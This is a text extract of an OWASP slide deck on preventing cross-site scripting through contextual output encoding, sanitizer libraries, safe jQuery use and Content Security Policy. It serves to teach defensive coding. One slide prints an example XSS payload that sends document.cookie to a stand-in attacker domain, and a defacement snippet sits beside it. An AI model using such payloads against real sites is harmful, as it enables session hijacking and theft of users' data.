SlideShare a Scribd company logo
The OWASP Foundation
http://www.owasp.org
Cross Site Scripting
JavaScript Injection
Contextual Output Encoding
The OWASP Foundation
http://www.owasp.org
The OWASP Foundation
http://www.owasp.org
The OWASP Foundation
http://www.owasp.org
Encoding
Output
Safe ways to represent dangerous characters in a web page
Characters Decimal Hexadecimal
HTML
Character Set
Unicode
" (double
quotation
marks)
" " " u0022
' (single
quotation
mark)
' ' ' u0027
& (ampersand) & & & u0026
< (less than) &#60; &#x3C; &lt; u003c
> (greater
than)
&#62; &#x3E; &gt; u003e
The OWASP Foundation
http://www.owasp.org
XSS Attack
Payloads
– Session Hijacking
– Site Defacement
– Network Scanning
– Undermining CSRF Defenses
– Site Redirection/Phishing
– Load of Remotely Hosted Scripts
– Data Theft
– Keystroke Logging
– Attackers using XSS more frequently
The OWASP Foundation
http://www.owasp.org
<script>window.location=‘https://evilev
iljim.com/unc/data=‘ +
document.cookie;</script>
<script>document.body.innerHTML=‘<blink
>EOIN IS COOL</blink>’;</script>
Anatomy of a XSS Attack
The OWASP Foundation
http://www.owasp.org
XSS Defense by Data
Type and Context
Data Type Context Defense
String HTML Body HTML Entity Encode
String HTML Attribute Minimal Attribute Encoding
String GET Parameter URL Encoding
String Untrusted URL URL Validation, avoid javascript:
URLs, Attribute encoding, safe
URL verification
String CSS Strict structural validation, CSS
Hex encoding, good design
HTML HTML Body HTML Validation (JSoup,
AntiSamy, HTML Sanitizer)
Any DOM DOM XSS Cheat Sheet
Untrusted JavaScript Any Sandboxing
JSON Client Parse Time JSON.parse() or json2.js
Safe HTML Attributes include: align, alink, alt, bgcolor, border, cellpadding, cellspacing,
class, color, cols, colspan, coords, dir, face, height, hspace, ismap, lang, marginheight,
marginwidth, multiple, nohref, noresize, noshade, nowrap, ref, rel, rev, rows, rowspan,
scrolling, shape, span, summary, tabindex, title, usemap, valign, value, vlink, vspace, width
The OWASP Foundation
http://www.owasp.org
OWASP Java Encoder Project
https://www.owasp.org/index.php/OWASP_Java_Encoder_Project
• No third party libraries or configuration necessary.
• This code was designed for high-availability/high-
performance encoding functionality.
• Simple drop-in encoding functionality
• Redesigned for performance
• More complete API (uri and uri component encoding, etc)
in some regards.
• This is a Java 1.5 project.
• Will be the default encoder in the next revision of ESAPI.
• Last updated February 14, 2013 (version 1.1)
The OWASP Foundation
http://www.owasp.org
The Problem
Web Page built in Java JSP is vulnerable to XSS
The Solution
<%-- Basic HTML Context --%>
<body><b><%= Encode.forHtml(UNTRUSTED) %>" /></b></body>
<%-- HTML Attribute Context --%>
<input type="text" name="data" value="<%= Encode.forHtmlAttribute(UNTRUSTED) %>" />
<%-- Javascript Block context --%>
<script type="text/javascript">
var msg = "<%= Encode.forJavaScriptBlock(UNTRUSTED) %>"; alert(msg);
</script>
<%-- Javascript Variable context --%>
<button onclick="alert('<%= Encode.forJavaScriptAttribute(UNTRUSTED) %>');">click
me</button>
The OWASP Foundation
http://www.owasp.org
<b><%= Encode.forHtml(UNTRUSTED)%></b>
<p>Title:<%= Encode.forHtml(UNTRUSTED)%></p>
<textarea name="text">
<%= Encode.forHtmlContent(UNTRUSTED) %>
</textarea>
The OWASP Foundation
http://www.owasp.org
<input type="text" name="data"
value="<%= Encode.forHtmlAttribute(UNTRUSTED) %>" />
<input type="text" name="data"
value=<%= Encode.forHtmlUnquotedAttribute(UNTRUSTED) %> />
The OWASP Foundation
http://www.owasp.org
<%-- Encode URL parameter values --%>
<a href="/search?value=
<%=Encode.forUriComponent(parameterValue)%>&order=1#top">
<%-- Encode REST URL parameters --%>
<a href="http://www.codemagi.com/page/
<%=Encode.forUriComponent(restUrlParameter)%>">
The OWASP Foundation
http://www.owasp.org
<a href="<%= Encode.forHTMLAttribute(untrustedURL) %>">
Encode.forHtmlContext(untrustedURL)
</a>
The OWASP Foundation
http://www.owasp.org
<button
onclick="alert('<%= Encode.forJavaScript(alertMsg) %>');">
click me</button>
<button
onclick="alert('<%=
Encode.forJavaScriptAttribute(alertMsg) %>');">click
me</button>
<script type="text/javascript”>
var msg = "<%= Encode.forJavaScriptBlock(alertMsg) %>";
alert(msg);
</script>
The OWASP Foundation
http://www.owasp.org
<div
style="background: url('<%=Encode.forCssUrl(value)%>');">
<style type="text/css">
background-color:'<%=Encode.forCssString(value)%>';
</style>
The OWASP Foundation
http://www.owasp.org
Other Encoding Libraries
Ruby on Rails
http://api.rubyonrails.org/classes/ERB/Util.html
Reform Project
Java, .NET v1/v2, PHP, Python, Perl, JavaScript, Classic ASP
https://www.owasp.org/index.php/Category:OWASP_Encoding_Project
ESAPI
PHP.NET, Python, Classic ASP, Cold Fusion
https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_
API
.NET AntiXSS Library
http://wpl.codeplex.com/releases/view/80289
The OWASP Foundation
http://www.owasp.org
Nested Contexts Best to avoid:
an element attribute calling a Javascript function etc - parsing chains
<div
onclick="showError('<%=request.getParameter("errorxyz")
%>')" >An error occurred ....</div>
Here we have a HTML attribute(onClick) and within a
nested Javascript function call (showError).
Parsing order:
1: HTML decode the contents of the onclick attribute.
2: When onClick is selected: Javascript Parsing of showError
So we have 2 contexts here...HTML and Javascript (2 browser
parsers).
The OWASP Foundation
http://www.owasp.org
We need to apply "layered" encoding in the RIGHT
order:
1) JavaScript encode
2) HTML Attribute Encode so it "unwinds" properly
and is not vulnerable.
<div onclick="showError ('<%=
Encoder.encodeForHtml(Encoder.encodeForJ
avaScript(
request.getParameter("error")%>')))" >An
error occurred ....</div>
The OWASP Foundation
http://www.owasp.org
OWASP HTML Sanitizer Project
https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project
• HTML Sanitizer written in Java which lets you include HTML authored by
third-parties in your web application while protecting against XSS.
• This code was written with security best practices in mind, has an
extensive test suite, and has undergone adversarial security review
https://code.google.com/p/owasp-java-html-
sanitizer/wiki/AttackReviewGroundRules.
• Very easy to use.
• It allows for simple programmatic POSITIVE policy configuration (see
below). No XML config.
• Actively maintained by Mike Samuel from Google's AppSec team!
• This is code from the Caja project that was donated by Google. It is
rather high performance and low memory utilization.
The OWASP Foundation
http://www.owasp.org
The OWASP Foundation
http://www.owasp.org
Solving Real World Problems with the OWASP
HTML Sanitizer Project
The Problem
Web Page is vulnerable to XSS because of untrusted HTML
The Solution
PolicyFactory policy = new HtmlPolicyBuilder()
.allowElements("a")
.allowUrlProtocols("https")
.allowAttributes("href").onElements("a")
.requireRelNofollowOnLinks()
.build();
String safeHTML = policy.sanitize(untrustedHTML);
The OWASP Foundation
http://www.owasp.org
OWASP JSON Sanitizer Project
https://www.owasp.org/index.php/OWASP_JSON_Sanitizer
• Given JSON-like content, converts it to valid JSON.
• This can be attached at either end of a data-pipeline to help
satisfy Postel's principle: Be conservative in what you do, be
liberal in what you accept from others.
• Applied to JSON-like content from others, it will produce
well-formed JSON that should satisfy any parser you use.
• Applied to your output before you send, it will coerce minor
mistakes in encoding and make it easier to embed your
JSON in HTML and XML.
The OWASP Foundation
http://www.owasp.org
Solving Real World Problems with the OWASP
JSON Sanitizer Project
The Problem
Web Page is vulnerable to XSS because of parsing of untrusted JSON incorrectly
The Solution
JSON Sanitizer can help with two use cases.
1) Sanitizing untrusted JSON on the server that is submitted from the browser in
standard AJAX communication
2) Sanitizing potentially untrusted JSON server-side before sending it to the browser.
The output is a valid Javascript expression, so can be parsed by Javascript's eval
or by JSON.parse.
The OWASP Foundation
http://www.owasp.org
DOM-Based XSS Defense
• Untrusted data should only be treated as displayable text
• JavaScript encode and delimit untrusted data as quoted strings
• Use safe API’s like document.createElement("…"),
element.setAttribute("…","value"), element.appendChild(…) and
$(‘#element’).text(…); to build dynamic interfaces
• Avoid use of HTML rendering methods
• Avoid sending any untrusted data to the JS methods that have a
code execution context likeeval(..), setTimeout(..), onclick(..),
onblur(..).
The OWASP Foundation
http://www.owasp.org
 SAFE use of JQuery
 $(‘#element’).text(UNTRUSTED DATA);
UNSAFE use of JQuery
$(‘#element’).html(UNTRUSTED DATA);
The OWASP Foundation
http://www.owasp.org
26
jQuery methods that directly update DOM or can execute
JavaScript
$() or jQuery() .attr()
.add() .css()
.after() .html()
.animate() .insertAfter()
.append() .insertBefore()
.appendTo() Note: .text() updates DOM, but
is safe.
Dangerous jQuery 1.7.2 Data Types
CSS Some Attribute Settings
HTML URL (Potential Redirect)
jQuery methods that accept URLs to potentially unsafe content
jQuery.ajax() jQuery.post()
jQuery.get() load()
jQuery.getScript()
The OWASP Foundation
http://www.owasp.org
 Contextual encoding is a crucial technique needed to stop all
types of XSS
 jqencoder is a jQuery plugin that allows developers to do
contextual encoding in JavaScript to stop DOM-based XSS
 http://plugins.jquery.com/plugin-
tags/security
 $('#element').encode('html', cdata);
JQuery Encoding with
JQencoder
The OWASP Foundation
http://www.owasp.org
Content Security Policy
• Anti-XSS W3C standard
• Content Security Policy latest release version
• http://www.w3.org/TR/CSP/
• Must move all inline script and style into external scripts
• Add the X-Content-Security-Policy response header to
instruct the browser that CSP is in use
- Firefox/IE10PR: X-Content-Security-Policy
- Chrome Experimental: X-WebKit-CSP
- Content-Security-Policy-Report-Only
• Define a policy for the site regarding loading of content
The OWASP Foundation
http://www.owasp.org
Get rid of XSS, eh?
A script-src directive that doesn‘t contain ‘unsafe-inline’
eliminates a huge class of cross site scripting
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
The OWASP Foundation
http://www.owasp.org
Real world CSP in action
The OWASP Foundation
http://www.owasp.org
What does this report look like?
{
"csp-report"=> {
"document-uri"=>"http://localhost:3000/home",
"referrer"=>"",
"blocked-uri"=>"ws://localhost:35729/livereload",
"violated-directive"=>"xhr-src ws://localhost.twitter.com:*"
}
}
The OWASP Foundation
http://www.owasp.org
{
"csp-report"=> {
"document-uri"=>"http://example.com/welcome",
"referrer"=>"",
"blocked-uri"=>"self",
"violated-directive"=>"inline script base restriction",
"source-file"=>"http://example.com/welcome",
"script-sample"=>"alert(1)",
"line-number"=>81
}
}
What does this report look like?

More Related Content

What's hot (20)

PPTX
Django Web Application Security
levigross
 
PPTX
Access Control Pitfalls v2
Jim Manico
 
PDF
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
Ivan Ortega
 
PDF
ng-owasp: OWASP Top 10 for AngularJS Applications
Kevin Hakanson
 
PPTX
OWASP Top 10 vs Drupal - OWASP Benelux 2012
ZIONSECURITY
 
PPTX
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
CODE BLUE
 
PDF
Java EE Web Security By Example: Frank Kim
jaxconf
 
PPTX
Building Secure User Interfaces With JWTs
robertjd
 
PPTX
W3 conf hill-html5-security-realities
Brad Hill
 
PDF
Application Security around OWASP Top 10
Sastry Tumuluri
 
PPTX
Avoiding Cross Site Scripting - Not as easy as you might think
Erlend Oftedal
 
PPTX
Web application Security
Lee C
 
PDF
Secure java script-for-developers
n|u - The Open Security Community
 
PDF
XSSmon: A Perl Based IDS for the Detection of Potential XSS Attacks
Christopher Frenz
 
PDF
Intro to Php Security
Dave Ross
 
PPTX
Ten Commandments of Secure Coding
Mateusz Olejarka
 
PPT
Jsp
Manav Prasad
 
PDF
Applications secure by default
SecuRing
 
PDF
Writing Secure Code for WordPress
Shawn Hooper
 
PPTX
JWT Authentication with AngularJS
robertjd
 
Django Web Application Security
levigross
 
Access Control Pitfalls v2
Jim Manico
 
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
Ivan Ortega
 
ng-owasp: OWASP Top 10 for AngularJS Applications
Kevin Hakanson
 
OWASP Top 10 vs Drupal - OWASP Benelux 2012
ZIONSECURITY
 
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
CODE BLUE
 
Java EE Web Security By Example: Frank Kim
jaxconf
 
Building Secure User Interfaces With JWTs
robertjd
 
W3 conf hill-html5-security-realities
Brad Hill
 
Application Security around OWASP Top 10
Sastry Tumuluri
 
Avoiding Cross Site Scripting - Not as easy as you might think
Erlend Oftedal
 
Web application Security
Lee C
 
Secure java script-for-developers
n|u - The Open Security Community
 
XSSmon: A Perl Based IDS for the Detection of Potential XSS Attacks
Christopher Frenz
 
Intro to Php Security
Dave Ross
 
Ten Commandments of Secure Coding
Mateusz Olejarka
 
Applications secure by default
SecuRing
 
Writing Secure Code for WordPress
Shawn Hooper
 
JWT Authentication with AngularJS
robertjd
 

Similar to XSS Defence with @manicode and @eoinkeary (20)

PPTX
Web Application Defences
Damilola Longe, CISSP, CCSP, MSc
 
PPTX
15 owasp top 10 - a3-xss
appsec
 
PPTX
Cross Site Scripting (XSS)
OWASP Khartoum
 
PPTX
04. xss and encoding
Eoin Keary
 
PPT
Securing Java EE Web Apps
Frank Kim
 
PDF
Modern Web Application Defense
Frank Kim
 
PDF
Bypass SOP, Theft Your Data - XSS Allstars from Japan / OWASP AppSec APAC 2014
Yosuke HASEGAWA
 
PPTX
OWASP_Top_Ten_Proactive_Controls_v2.pptx
azida3
 
PPTX
OWASP_Top_Ten_Proactive_Controls_v2.pptx
johnpragasam1
 
PPTX
OWASP_Top_Ten_Proactive_Controls version 2
ssuser18349f1
 
PDF
Slides
vti
 
PPTX
OWASP_Top_Ten_Proactive_Controls_v2.pptx
cgt38842
 
PDF
Webpack packing it all
Criciúma Dev
 
PDF
Packing it all: JavaScript module bundling from 2000 to now
Derek Willian Stavis
 
PDF
자바 웹 개발 시작하기 (1주차 : 웹 어플리케이션 체험 실습)
DK Lee
 
PPTX
OWASP_Top_Ten_Proactive_Controls_v32.pptx
nmk42194
 
KEY
DVWA BruCON Workshop
testuser1223
 
PPTX
20160211 OWASP Charlotte RASP
chadtindel
 
KEY
Application Security for RIAs
johnwilander
 
Web Application Defences
Damilola Longe, CISSP, CCSP, MSc
 
15 owasp top 10 - a3-xss
appsec
 
Cross Site Scripting (XSS)
OWASP Khartoum
 
04. xss and encoding
Eoin Keary
 
Securing Java EE Web Apps
Frank Kim
 
Modern Web Application Defense
Frank Kim
 
Bypass SOP, Theft Your Data - XSS Allstars from Japan / OWASP AppSec APAC 2014
Yosuke HASEGAWA
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
azida3
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
johnpragasam1
 
OWASP_Top_Ten_Proactive_Controls version 2
ssuser18349f1
 
Slides
vti
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
cgt38842
 
Webpack packing it all
Criciúma Dev
 
Packing it all: JavaScript module bundling from 2000 to now
Derek Willian Stavis
 
자바 웹 개발 시작하기 (1주차 : 웹 어플리케이션 체험 실습)
DK Lee
 
OWASP_Top_Ten_Proactive_Controls_v32.pptx
nmk42194
 
DVWA BruCON Workshop
testuser1223
 
20160211 OWASP Charlotte RASP
chadtindel
 
Application Security for RIAs
johnwilander
 
Ad

More from Eoin Keary (20)

PPTX
IISF-March2023.pptx
Eoin Keary
 
PDF
Validation of vulnerabilities.pdf
Eoin Keary
 
PDF
Does a Hybrid model for vulnerability Management Make Sense.pdf
Eoin Keary
 
PDF
Edgescan 2022 Vulnerability Statistics Report
Eoin Keary
 
PPTX
Edgescan 2021 Vulnerability Stats Report
Eoin Keary
 
PPTX
One login enemy at the gates
Eoin Keary
 
PDF
Edgescan vulnerability stats report 2020
Eoin Keary
 
PDF
edgescan vulnerability stats report (2018)
Eoin Keary
 
PDF
edgescan vulnerability stats report (2019)
Eoin Keary
 
PPTX
Full stack vulnerability management at scale
Eoin Keary
 
PPTX
Vulnerability Intelligence - Standing Still in a world full of change
Eoin Keary
 
PPTX
Edgescan vulnerability stats report 2019 - h-isac-2-2-2019
Eoin Keary
 
PPTX
Hide and seek - Attack Surface Management and continuous assessment.
Eoin Keary
 
PPTX
Online Gaming Cyber security and Threat Model
Eoin Keary
 
PPTX
Keeping the wolf from 1000 doors.
Eoin Keary
 
PPTX
Security by the numbers
Eoin Keary
 
PPTX
Web security – everything we know is wrong cloud version
Eoin Keary
 
PPTX
Cybersecurity by the numbers
Eoin Keary
 
PPTX
Ebu class edgescan-2017
Eoin Keary
 
PPTX
Vulnerability management and threat detection by the numbers
Eoin Keary
 
IISF-March2023.pptx
Eoin Keary
 
Validation of vulnerabilities.pdf
Eoin Keary
 
Does a Hybrid model for vulnerability Management Make Sense.pdf
Eoin Keary
 
Edgescan 2022 Vulnerability Statistics Report
Eoin Keary
 
Edgescan 2021 Vulnerability Stats Report
Eoin Keary
 
One login enemy at the gates
Eoin Keary
 
Edgescan vulnerability stats report 2020
Eoin Keary
 
edgescan vulnerability stats report (2018)
Eoin Keary
 
edgescan vulnerability stats report (2019)
Eoin Keary
 
Full stack vulnerability management at scale
Eoin Keary
 
Vulnerability Intelligence - Standing Still in a world full of change
Eoin Keary
 
Edgescan vulnerability stats report 2019 - h-isac-2-2-2019
Eoin Keary
 
Hide and seek - Attack Surface Management and continuous assessment.
Eoin Keary
 
Online Gaming Cyber security and Threat Model
Eoin Keary
 
Keeping the wolf from 1000 doors.
Eoin Keary
 
Security by the numbers
Eoin Keary
 
Web security – everything we know is wrong cloud version
Eoin Keary
 
Cybersecurity by the numbers
Eoin Keary
 
Ebu class edgescan-2017
Eoin Keary
 
Vulnerability management and threat detection by the numbers
Eoin Keary
 
Ad

Recently uploaded (20)

PDF
GEO Strategy 2025: Complete Presentation Deck for AI-Powered Customer Acquisi...
Zam Man
 
PPTX
The Monk and the Sadhurr and the story of how
BeshoyGirgis2
 
PPTX
原版北不列颠哥伦比亚大学毕业证文凭UNBC成绩单2025年新版在线制作学位证书
e7nw4o4
 
PPTX
Blue and Dark Blue Modern Technology Presentation.pptx
ap177979
 
DOCX
An_Operating_System by chidi kingsley wo
kingsleywokocha4
 
PPTX
Google SGE SEO: 5 Critical Changes That Could Wreck Your Rankings in 2025
Reversed Out Creative
 
PDF
How Much GB RAM Do You Need for Coding? 5 Powerful Reasons 8GB Is More Than E...
freeshopbudget
 
PDF
Cybersecurity Awareness Presentation ppt.
banodhaharshita
 
PPTX
The Latest Scam Shocking the USA in 2025.pptx
onlinescamreport4
 
PPTX
Perkembangan Perangkat jaringan komputer dan telekomunikasi 3.pptx
Prayudha3
 
PDF
LB# 820-1889_051-7370_C000.schematic.pdf
matheusalbuquerqueco3
 
PDF
Latest Scam Shocking the USA in 2025.pdf
onlinescamreport4
 
PDF
The AI Trust Gap: Consumer Attitudes to AI-Generated Content
Exploding Topics
 
PPTX
Artificial-Intelligence-in-Daily-Life (2).pptx
nidhigoswami335
 
PPTX
The Internet of Things (IoT) refers to a vast network of interconnected devic...
chethana8182
 
PPTX
Different Generation Of Computers .pptx
divcoder9507
 
PPT
Introduction to dns domain name syst.ppt
MUHAMMADKAVISHSHABAN
 
PPT
1965 INDO PAK WAR which Pak will never forget.ppt
sanjaychief112
 
PPTX
How tech helps people in the modern era.
upadhyayaryan154
 
PDF
Data Protection & Resilience in Focus.pdf
AmyPoblete3
 
GEO Strategy 2025: Complete Presentation Deck for AI-Powered Customer Acquisi...
Zam Man
 
The Monk and the Sadhurr and the story of how
BeshoyGirgis2
 
原版北不列颠哥伦比亚大学毕业证文凭UNBC成绩单2025年新版在线制作学位证书
e7nw4o4
 
Blue and Dark Blue Modern Technology Presentation.pptx
ap177979
 
An_Operating_System by chidi kingsley wo
kingsleywokocha4
 
Google SGE SEO: 5 Critical Changes That Could Wreck Your Rankings in 2025
Reversed Out Creative
 
How Much GB RAM Do You Need for Coding? 5 Powerful Reasons 8GB Is More Than E...
freeshopbudget
 
Cybersecurity Awareness Presentation ppt.
banodhaharshita
 
The Latest Scam Shocking the USA in 2025.pptx
onlinescamreport4
 
Perkembangan Perangkat jaringan komputer dan telekomunikasi 3.pptx
Prayudha3
 
LB# 820-1889_051-7370_C000.schematic.pdf
matheusalbuquerqueco3
 
Latest Scam Shocking the USA in 2025.pdf
onlinescamreport4
 
The AI Trust Gap: Consumer Attitudes to AI-Generated Content
Exploding Topics
 
Artificial-Intelligence-in-Daily-Life (2).pptx
nidhigoswami335
 
The Internet of Things (IoT) refers to a vast network of interconnected devic...
chethana8182
 
Different Generation Of Computers .pptx
divcoder9507
 
Introduction to dns domain name syst.ppt
MUHAMMADKAVISHSHABAN
 
1965 INDO PAK WAR which Pak will never forget.ppt
sanjaychief112
 
How tech helps people in the modern era.
upadhyayaryan154
 
Data Protection & Resilience in Focus.pdf
AmyPoblete3
 

XSS Defence with @manicode and @eoinkeary